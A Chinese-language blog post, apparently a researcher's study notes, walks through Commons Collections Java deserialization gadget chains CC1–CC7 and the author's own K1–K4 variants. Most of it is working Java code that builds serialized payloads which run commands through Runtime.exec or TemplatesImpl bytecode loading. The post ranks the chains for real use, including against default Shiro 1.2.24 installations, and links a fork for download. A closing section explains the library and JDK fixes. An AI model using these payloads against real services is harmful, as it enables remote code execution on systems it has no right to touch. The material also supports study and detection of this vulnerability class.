之前做 fastjson 的检测只能说一只脚踏入了 Java 安全,若想真正入门 Java 安全,CommonsCollections 系列反序列化利用链是一个非常好的学习资源,个人感觉看完后收获颇丰,我把比较关键的一些点都记录下来了,并把这些零散的内容整理成了一份表格放在这篇文章最后,如果不关心背后的原理,直接看最后的总结即可。文中提到的那些 K1 ~ K4 可以从这里直接下载使用:https://github.com/zema1/ysoserial

CommonsCollections1

依赖

  • CommonsCollections <= 3.2.1
  • Java < 8u71

利用链

ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
      AnnotationInvocationHandler.invoke()
        LazyMap.get()
          ChainedTransformer.transform()
            ConstantTransformer.transform()
            InvokerTransformer.transform()
              Method.invoke()
                Class.getMethod()
            InvokerTransformer.transform()
              Method.invoke()
                Runtime.getRuntime()
            InvokerTransformer.transform()
              Method.invoke()
                Runtime.exec()
            ConstantTransformer.transform()

笔记

大致可以分为两部分,一部分是构造 ChainedTransformer ,另一部分是设法调用这个 chain 的 transform 方法。其中前者可以直接表示为:

final Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{
        String.class, Class[].class}, new Object[]{
        "getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{
        Object.class, Object[].class}, new Object[]{
        null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[]{String.class}, new String[]{"say yes"}),
};
ChainedTransformer chain = new ChainedTransformer(transformers);

当 这里的 chain.transform 被调用时,执行的命令类似:

Runtime.getRuntime().exec("say yes");

更深入的,调用过程类似下面的反射调用:

Class cls = Object.class.getClass();
Method m = cls.getMethod("getMethod", String.class, Class[].class);
Object getRuntime = m.invoke(Runtime.class, "getRuntime", new Class[0]);

cls = getRuntime.getClass();
m = cls.getMethod("invoke", Object.class, Object[].class);
Object runtime = m.invoke(getRuntime, null, new Object[0]);

m = runtime.getClass().getMethod("exec", String.class);
m.invoke(runtime, "say yes");

关键在于如何去调用这个 chain 的 transform 方法,ysoserial 的 CommonsCollections1 用的调用链依赖于两次 AnnotationInvocationHandler 的代理和一个 LazyMap 的最终触发,这个过程完整手写的话如下:

final String[] execArgs = new String[]{"touch /tmp/aaaa"};
final Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{
        String.class, Class[].class}, new Object[]{
        "getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{
        Object.class, Object[].class}, new Object[]{
        null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[]{String.class}, execArgs),
    // 注意这里多了一个 HashSet,这样可以避免原版的一个 Cast Error
    new ConstantTransformer(new HashSet<String>())};
ChainedTransformer chain = new ChainedTransformer(transformers);

Map hashMap = new HashMap();

// 当 LazyMap.get 被调用时,会触发 chain.transform
Map m = LazyMap.decorate(hashMap, chain);

// sun.reflect.annotation.AnnotationInvocationHandler 不是 public 的,不能直接构造出来
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

// 这里的 Deprecated.class 可以换成任意一个 AnnotationType 
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Deprecated.class, m);

// 这里套一层 proxy 为了在 readObject 是调用 entrySet 时调用 AnnotationInvocation 的 invoke 方法, 其中会调用 lazyMap 的 get 从而触发
Object proxy = Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Map.class}, handler);

// 最外层是 AnnotationInvocationHandler,触发 readObject 操作
Object obj = constructor.newInstance(Deprecated.class, proxy);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("out.bin"));
out.writeObject(obj);
out.close();

CommonsCollections1_1

依赖

  • CommonsCollections <= 3.2.1
  • Java < 8u71

利用链

ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    TransformedMap.setValue()
      ChainedTransformer.transform()
        ConstantTransformer.transform()
        InvokerTransformer.transform()
          Method.invoke()
            Class.getMethod()
        InvokerTransformer.transform()
          Method.invoke()
            Runtime.getRuntime()
        InvokerTransformer.transform()
          Method.invoke()
            Runtime.exec()
        ConstantTransformer.transform()

笔记

我在看上面的 1 时,发现还有个别的利用链可以用,不再使用 LazyMap  而是使用 TransformedMap ,调用链略有差异,利用链深度也简单一些。这个利用链用原生代码可以表示为:

ChainedTransformer chain = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
// 这个值不可改
hashMap.put("value", SuppressWarnings.class);
// sun.reflect.annotation.AnnotationInvocationHandler 不是 public 的,不能直接构造出来
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

// 最终调用链是 readObject 时的 setValue -> transformedMap.setValue -> chained
Map tm = TransformedMap.decorate(hashMap, new ConstantTransformer(0), chain);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(SuppressWarnings.class, tm);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("out.bin"));
out.writeObject(handler);
out.close();

需要注意的是,这里在 hashMap 中放的不是任意的,需要满足这两点才可以:

  • class 为 Annotation
  • 该注解包含至少一个方法
  • hashMap put 的 key 就是方法名之一


实际用起来效果和 1 应该是一致的,只是 payload 要短一点。

CommonsCollections2

依赖

  • CommonsCollections4.0

利用链

  ObjectInputStream.readObject()
    PriorityQueue.readObject()
      ...
        TransformingComparator.compare()
          InvokerTransformer.transform()
              TemplatesImpl.newTransformer()
                TemplatesTmpl.getTransletInstance()
                  TemplatesTmpl.defineTransletClasses()
                  TemplatesTmpl.newInstance()
                  	ClassInitializer()
                      Runtime.exec()

笔记

public static void main(String[] args) throws Exception {
    String code = "{System.out.println('1');}";
    ClassPool pool = ClassPool.getDefault();
    CtClass clazz = pool.get(Exception.class.getName());
    clazz.makeClassInitializer().insertBefore(code);
    clazz.setName("demo");
    byte[] byteCode = clazz.toBytecode();
    
    // load bytecode
    Class cls = new DefiningClassLoader().defineClass("demo", byteCode);
    cls.newInstance();
}

// 效果类似
public class Exception extends Throwable {
    {System.out.println('1');}
    
    ...
}

这段代码展示了两个小知识,一是可以利用 ClassLoader 去加载字节码然后执行,而是借助 javassist 的强大魅力,可以轻松的给已有的类做编排(Instrumenting)内置类型 Exception 增加一段 static 代码块,加载字节码市,静态代码块就会被执行,借助这个特性,可以做一些非常 Magic 和 Amazing 的事情。

CommonCollections2 和下面的几个利用链都用到了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类,这个类有个特性当调用 newTransform 时,会加载内部的 _bytecode 中的字节码并实例化,这个利用链手写大致如下:

public static class FooBar implements Serializable { }
public static void main(String[] args) throws Exception {
    ClassPool pool = ClassPool.getDefault();
    String AbstractTranslet = "org.apache.xalan.xsltc.runtime.AbstractTranslet";
    pool.insertClassPath(new ClassClassPath(FooBar.class));
    pool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
    CtClass bar = pool.get(FooBar.class.getName());
    CtClass translet = pool.get(Class.forName(AbstractTranslet).getName());

    // 给 bar 动态设置父类,同时设置 static 的初始化恶意代码
    bar.setSuperclass(translet);
    bar.makeClassInitializer().insertBefore("{Runtime.getRuntime().exec(\"touch /tmp/abc\");}");
    // hack it. 为了避免 postInitialization 的调用,防止反序列化报错
    bar.getDeclaredConstructor(new CtClass[0]).insertAfter("{$0.transletVersion=101;}");
    byte[] b = bar.toBytecode();
    // 这个是为了避免 _auxClasses 为空导致的 Exception
    byte[] foo = pool.get(Gadgets.Foo.class.getName()).toBytecode();

    // 实例化方法没用开,用反射做
    Constructor con = TemplatesImpl.class.getDeclaredConstructor(byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class);
    con.setAccessible(true);
    Templates tpl = (Templates) con.newInstance(new byte[][]{b, foo}, "abc", new Properties(), 1, new TransformerFactoryImpl());
    ...
    // 后续调用链只需触发 tpl.newTransformer() 即可触发
    }
}

这里相比原版加了一行 bar.getDeclaredConstructor(new CtClass[0]).insertAfter("{$0.transletVersion=101;}"); 这个可以有效防止序列化之后的报错,整个序列化流程跑完没有任何异常,非常舒服。我们将这个函数保存为 createTemplate() ,后面就再写相同代码了。至于触发方法,在 CommonsCollections2 中用的是这样的利用链:

final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = tpl;
queueArray[1] = 1;

// then write queue

这里用了一个小技巧是利用反射延迟设置 queue 内部的值,防止 queue.add 时利用链就被触发了。但这个成功反序列化后也会有个错误,原因是 Templeates 被实例化后是不可被比较的,我把利用链稍微调整了一下就可以规避这个问题,这个利用链支调整了最终 transform 的逻辑,核心触发逻辑没变,就不作为 2_1 来写了:

Templates tpl = MyGadget.createTemplate();
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
ChainedTransformer transformer = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(tpl),
    invokerTransformer,
    // 返回一个 constant 值,防止报错
    new ConstantTransformer(1),
});
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
queue.add(1);
queue.add(2);
Field i = invokerTransformer.getClass().getDeclaredField("iMethodName");
i.setAccessible(true);
i.set(invokerTransformer, "newTransformer");

// then write queue

CommonsCollections3

依赖

  • CommonsCollections <= 3.2.1
  • Java < 8u71

利用链

ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
      AnnotationInvocationHandler.invoke()
        LazyMap.get()
          ChainedTransformer.transform()
          // 变的是下面这部分
            ConstantTransformer.transform()
            InstantiateTransformer.transform()
            	TrAXFilter()
                TemplatesImpl.newTransformer()
                  TemplatesTmpl.getTransletInstance()
                    TemplatesTmpl.defineTransletClasses()
                    TemplatesTmpl.newInstance()
                      ClassInitializer()
                        Runtime.exec()
                  

笔记

和 CommonCollectins1 的前半部分是一致的,所以依赖都是一致的。不同的是借助 InstantiateTransformer 和 TrAXFilter 这个链完成 TemplateImpl 的实例化,能利用的原因在于 TrAXFilter 这个类的实例化函数是这样的:

 public TrAXFilter(Templates templates)  throws TransformerConfigurationException
{
	_templates = templates;
	_transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
}

顺手可以手写一份利用代码:

Templates tpl = MyGadget.createTemplate();
Transformer chain = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tpl}),
});
// chain 的触发和 1 一样,不再赘述

CommonsCollections4

依赖

  • CommonsCollections4.0

利用链

  ObjectInputStream.readObject()
    PriorityQueue.readObject()
      ...
        TransformingComparator.compare()
          ChainedTransformer.transform()
          // 变的是下面这部分
            ConstantTransformer.transform()
            InstantiateTransformer.transform()
            	TrAXFilter()
                TemplatesImpl.newTransformer()
                  TemplatesTmpl.getTransletInstance()
                    TemplatesTmpl.defineTransletClasses()
                    TemplatesTmpl.newInstance()
                      ClassInitializer()
                        Runtime.exec()

笔记

这个就是 2 的后半部分用了 InstantiateTransformer ,和我自己写的那个只有一点点的不一样,不再赘述

Templates tpl = MyGadget.createTemplate();
ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
InstantiateTransformer initTransformer = new InstantiateTransformer(new Class[]{}, new Object[]{});
Transformer transformer = new ChainedTransformer(new Transformer[]{
    constantTransformer,
    initTransformer,
    new ConstantTransformer(1),
});

PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
queue.add(1);
queue.add(2);

Field i = constantTransformer.getClass().getDeclaredField("iConstant");
i.setAccessible(true);
i.set(constantTransformer, TrAXFilter.class);

i = initTransformer.getClass().getDeclaredField("iParamTypes");
i.setAccessible(true);
i.set(initTransformer, new Class[]{Templates.class});

i = initTransformer.getClass().getDeclaredField("iArgs");
i.setAccessible(true);
i.set(initTransformer, new Object[]{tpl});

// then write queue

CommonsCollections5

依赖

  • CommonsCollections <= 3.2.1
  • Java >= 8u76
  • SecurityManager 未开启

利用链

BadAttributeValueExpException.readObject()
    TiedMapEntry.toString()
        LazyMap.get()
            ChainedTransformer.transform()
                ConstantTransformer.transform()
                InvokerTransformer.transform()
                    Method.invoke()
                        Class.getMethod()
                InvokerTransformer.transform()
                    Method.invoke()
                        Runtime.getRuntime()
                InvokerTransformer.transform()
                    Method.invoke()
                        Runtime.exec()

笔记

这个 gadget 只能在 8u76 之后用,原因在于 8u76 为 BadAttributeValueExpException 添加了 readObject

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

同时 TiedMap 的 toString 方法为,可以说是非常人性化了:

public String toString() {
    return getKey() + "=" + getValue();
}

利用过程也是非常简单:

// LazyMap 和 1 的是一样的
Map m = LazyMap.decorate(hashMap, chain);

Object obj = new BadAttributeValueExpException("");
Field i = obj.getClass().getDeclaredField("val");
i.setAccessible(true);
i.set(obj, new TiedMapEntry(m, "value"));

// then write obj

CommonsCollections6

依赖

  • CommonsCollections <= 3.2.1

利用链

java.util.HashMap.readObject()
    java.util.HashMap.hash()
        TiedMapEntry.hashCode()
        	TiedMapEntry.getValue()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

笔记

由于 5 有环境版本的要求,这个相当于是 5 的改进,不依赖版本了。利用链原理 TiedMapEntry 的 hashcode 方法可以结合 HashMap 利用:

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

ysoserial 中这个 gadget 实现的很复杂,实际上可以简化 参考,完整链手写如下:

final String[] execArgs = new String[]{"open /Applications/Calculator.app"};
final Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{
        String.class, Class[].class}, new Object[]{
        "getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{
        Object.class, Object[].class}, new Object[]{
        null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[]{String.class}, execArgs),
    new ConstantTransformer(new HashSet<String>())};
ChainedTransformer inertChain = new ChainedTransformer(new Transformer[]{});

HashMap<String,String> innerMap = new HashMap<String, String>();
Map m = LazyMap.decorate(innerMap, inertChain);

Map outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m, "v");
outerMap.put(tied, "t");
// 这个很关键
innerMap.clear();

// 将真正的 transformers 设置, 避免上面 put 时 payload 时就执行了
Field field = inertChain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(inertChain, transformers);

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("out.bin"));
out.writeObject(outerMap);
out.close();

这里有个细节很关键,就是 innerMap.clear() 这句,这并不是为了清空下缓存,而是如果没有这一句在反序列化时就不会触发了,原因是 LazyMap 中有这样的写法:z

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

如果没有 clear,那么反序列化后的 map 是直接包含了 key 的,这里的 factory.transform 就中断了。为了方便使用,我把这条简化后的链命名为了 K3,见后面的部分。

CommonsCollections7

依赖

  • CommonsCollections <= 3.2.1

利用链

java.util.Hashtable.readObject
  java.util.Hashtable.reconstitutionPut
    java.util.AbstractMap.equals
      LazyMap.get()
          ChainedTransformer.transform()
              ConstantTransformer.transform()
              InvokerTransformer.transform()
                  Method.invoke()
                      Class.getMethod()
              InvokerTransformer.transform()
                  Method.invoke()
                      Runtime.getRuntime()
              InvokerTransformer.transform()
                  Method.invoke()
                      Runtime.exec()

笔记

这个原理基于三个小技巧:

  1. yy 和 zZ 这两个字符串的 hashcode() 是一样的
  2. 当向 hashtable 或 hashmap 中put时,如果 key 是一个 map,hashcode 的计算方法是这种方式:
// java.util.AbstractMap#hashCode
public int hashCode() {
    int h = 0;
    Iterator<Entry<K,V>> i = entrySet().iterator();
    while (i.hasNext())
        h += i.next().hashCode();
    return h;
}
  1. 当 key 为 map 类型并且发生了 hashcode 碰撞,会做深层次的比较:
// java.util.AbstractMap#equals
public boolean equals(Object o) {
// ...
    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                // 这里会触发 lazymap 的 transform
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
// ...
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, inertChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, inertChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field i = inertChain.getClass().getDeclaredField("iTransformers");
i.setAccessible(true);
i.set(inertChain, transformers);

// 和 6 中 innerMap.clear() 一个道理,需要清除 put 时的缓存,这样反序列化时才会产生冲突并触发 lazymap.get
lazyMap2.remove("yy");
// then write hashtable to file

CommonsCollectionsK1,K2

依赖

  • K1: CommonsCollections <= 3.2.1
  • K2: CommonsCollections == 4.0

利用链

HashMap.readObject
    TiedMapEntry.hashCode
     TiedMapEntry.getValue
       LazyMap.decorate
         InvokerTransformer
           templates...

笔记

这是我在做 shiro 检测时被迫组合出的一条利用链,这条链虽然是新瓶装旧酒——前半段类似 6,后半段类似 2,但完全避免了 ChainedTransformer 的使用且仅依赖于 CommonsCollections,最终效果是可以直接在 shiro 1.2.24 的环境中使用。

Object tpl = Gadgets.createTemplatesImpl("cmd");
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

HashMap<String,String> innerMap = new HashMap<String, String>();
Map m = LazyMap.decorate(innerMap, transformer);

Map outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m, tpl);
outerMap.put(tied, "t");
// 这个很关键
innerMap.clear();

// 将真正的 transformers 设置, 避免上面 put 时 payload 时就执行了
Field field = transformer.getClass().getDeclaredField("iMethodName");
field.setAccessible(true);
field.set(transformer, "newTransformer");

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("out.bin"));
out.writeObject(outerMap);
out.close();

K2 与 K1 的差别,仅仅是将 lazyMap 改为了 4.0 中的写法,不再赘述。

CommonsCollectionsK3,K4

依赖

  • K1: CommonsCollections <= 3.2.1
  • K2: CommonsCollections == 4.0

利用链

  java.util.HashMap.readObject()
      java.util.HashMap.hash()
          TiedMapEntry.hashCode()
              TiedMapEntry.getValue()
              LazyMap.get()
                  ChainedTransformer.transform()

笔记

K3 这个链其实就是我上面写的 6,ysoserial 中的写法有些啰嗦,所以单独抽出来重新命名了一下。K4 就是 K3 的 4.0 适配版,不再赘述。

修复方式

3.2.1

在 3.2.2 中对几个高危反序列化点都加了检查

private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
    FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
    is.defaultReadObject();
}

// FunctorUtils.checkUnsafeSerialization
static void checkUnsafeSerialization(Class clazz) {
    String unsafeSerializableProperty;

    try {
        unsafeSerializableProperty = 
            (String) AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return System.getProperty(UNSAFE_SERIALIZABLE_PROPERTY);
                }
            });
    } catch (SecurityException ex) {
        unsafeSerializableProperty = null;
    }

    if (!"true".equalsIgnoreCase(unsafeSerializableProperty)) {
        throw new UnsupportedOperationException(
                "Serialization support for " + clazz.getName() + " is disabled for security reasons. " +
                "To enable it set system property '" + UNSAFE_SERIALIZABLE_PROPERTY + "' to 'true', " +
                "but you must ensure that your application does not de-serialize objects from untrusted sources.");
    }
}

没有使用黑名单策略,如果配置里没有启用,反序列化功能就会被完全禁用掉。

4.0

直接把一些敏感类的 Serializable 接口去掉了..

  • WARNING: from v4.1 onwards this class will not be serializable anymore* in order to prevent potential remote code execution exploits. Please refer to* COLLECTIONS-580
    * for more details.*

AnnotationInvocationHandler

除了对 CommonsCollections 本身的修复,JDK 对 AnnotationInvocationHandler 这个非常好用的类也做了些防护,在 8u71 中, 对 readObject 做了一些修改

// sun.reflect.annotation.AnnotationInvocationHandler#readObject
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    GetField var2 = var1.readFields();
    Class var3 = (Class)var2.get("type", (Object)null);
    Map var4 = (Map)var2.get("memberValues", (Object)null);
    AnnotationType var5 = null;

    try {
        var5 = AnnotationType.getInstance(var3);
    } catch (IllegalArgumentException var13) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var6 = var5.memberTypes();
    LinkedHashMap var7 = new LinkedHashMap();

    String var10;
    Object var11;
    for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
        Entry var9 = (Entry)var8.next();
        var10 = (String)var9.getKey();
        var11 = null;
        Class var12 = (Class)var6.get(var10);
        if (var12 != null) {
            var11 = var9.getValue();
            if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
            }
        }
    }

    AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
    AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}

注意到最终反序列化出的 memberValues 已经不是我们原始的 lazyMap 了,而是一个新的 LinkedHashMap,这样所有 AnnotationInvocationHandler 搭配 lazymap 的利用链全都失效了。这也是我不太喜欢这些利用链的原因,它们不仅有库的依赖,还有环境的依赖。那么哪些是高价值利用链,哪些是没有环境依赖就能打的,我们来总结一下。

总结

注1:CC 意为 CommonsCollections
注2: ysoserial 中部分依赖条件不正确,已实验并更正
注3:可改造指的是把 3 中的 lazymap.decorate 换成 4 中的 lazymap.lazymap 就可以用

名称 利用链 依赖 推荐程度 备注
CC1 AnnotationInvocationHandler
LazyMap.decorate
ChainedTransformer
InvokerTransformer
CC <= 3.2.1
Java < 8u71
可改造以支持 4.0
CC2 PriorityQueue
TransformingComparator
InvokerTransformer
TemplatesImpl
CC4.0
CC3 AnnotationInvocationHandler
LazyMap.decorate
ChainedTransformer
InstantiateTransformer
TrAXFilter
TemplatesImpl
CC <= 3.2.1
Java < 8u71
可改造以支持 4.0
CC4 PriorityQueue
TransformingComparator
ChainedTransformer
InstantiateTransformer
TrAXFilter
TemplatesImpl
CC4.0
CC5 BadAttributeValueExpException
TiedMapEntry.toString
LazyMap.decorate
ChainedTransformer
InvokerTransformer
CC <= 3.2.1
Java >= 8u76
SecurityManger 未开启
可改造以支持 4.0
CC6 HashMap
TiedMapEntry.hashCode
TiedMapEntry.getValue
LazyMap.decorate
ChainedTransformer
InvokerTransformer
CC <= 3.2.1
可改造以支持 4.0
CC7 Hashtable/HashMap
AbstractMap.equals
LazyMap.decorate
ChainedTransformer
InvokerTransformer
CC <= 3.2.1 可改造以支持 4.0
K1/K2 HashMap.readObject
TiedMapEntry.hashCode
TiedMapEntry.getValue
LazyMap.decorate
InvokerTransformer
TemplatesImpl
K1: CC <= 3.2.1
K2: CC == 4.0
最高 特别的:可以打 shiro 1.2.24 的默认环境
K3/K4 与 6 一致 K3: CC <= 3.2.1
K4: CC == 4.0
最高 无任何依赖,是 6 的简化版

CommonsCollections 有两个大版本,K3/K4 是这两个版本最好用的两条链,因为它们对环境毫无依赖,仅仅依赖于库本身。其次的 K1/K2 是两个使用字节码加载的利用链,TemplatesImpl 在部分环境下反序列化会被 SecurityManager 禁用,但这两个链可以打 shiro 1.2.24 的默认环境,所以也是很有实战价值的。综合来看,K1~K4 这四条链可以完整代替且超越之前的 1~7,他们加起来代表了 CommonsCollections 各种可能的情况,我将这一部分成果放在了 https://github.com/zema1/ysoserial ,大家可以直接下载使用。

后话

其实江湖上还有其他的一些 gadget,但其他的利用链原理和已有的这些也都大差不差,说到底基于 CommonsCollections 的利用链基本都是这个模子出来的

  1. 起点
    1. AnnotationInvocationHandler
    2. XXComparator
    3. HashMap/HashSet/HashTable
  2. 终点
    1. ChainedTransformer
    2. TemplatesImpl

熟悉这个规律,我们完全可以自己组合一下就会多出新的利用链。我在文中也有反复提到 shiro 的反序列化,shiro 是今年比较热门的一个漏洞,其反序列化和普通的反序列化稍有区别,我在此留个坑,以后再聊下我是如何科学且可靠的检测 shiro remeberme 反序列化的这个漏洞。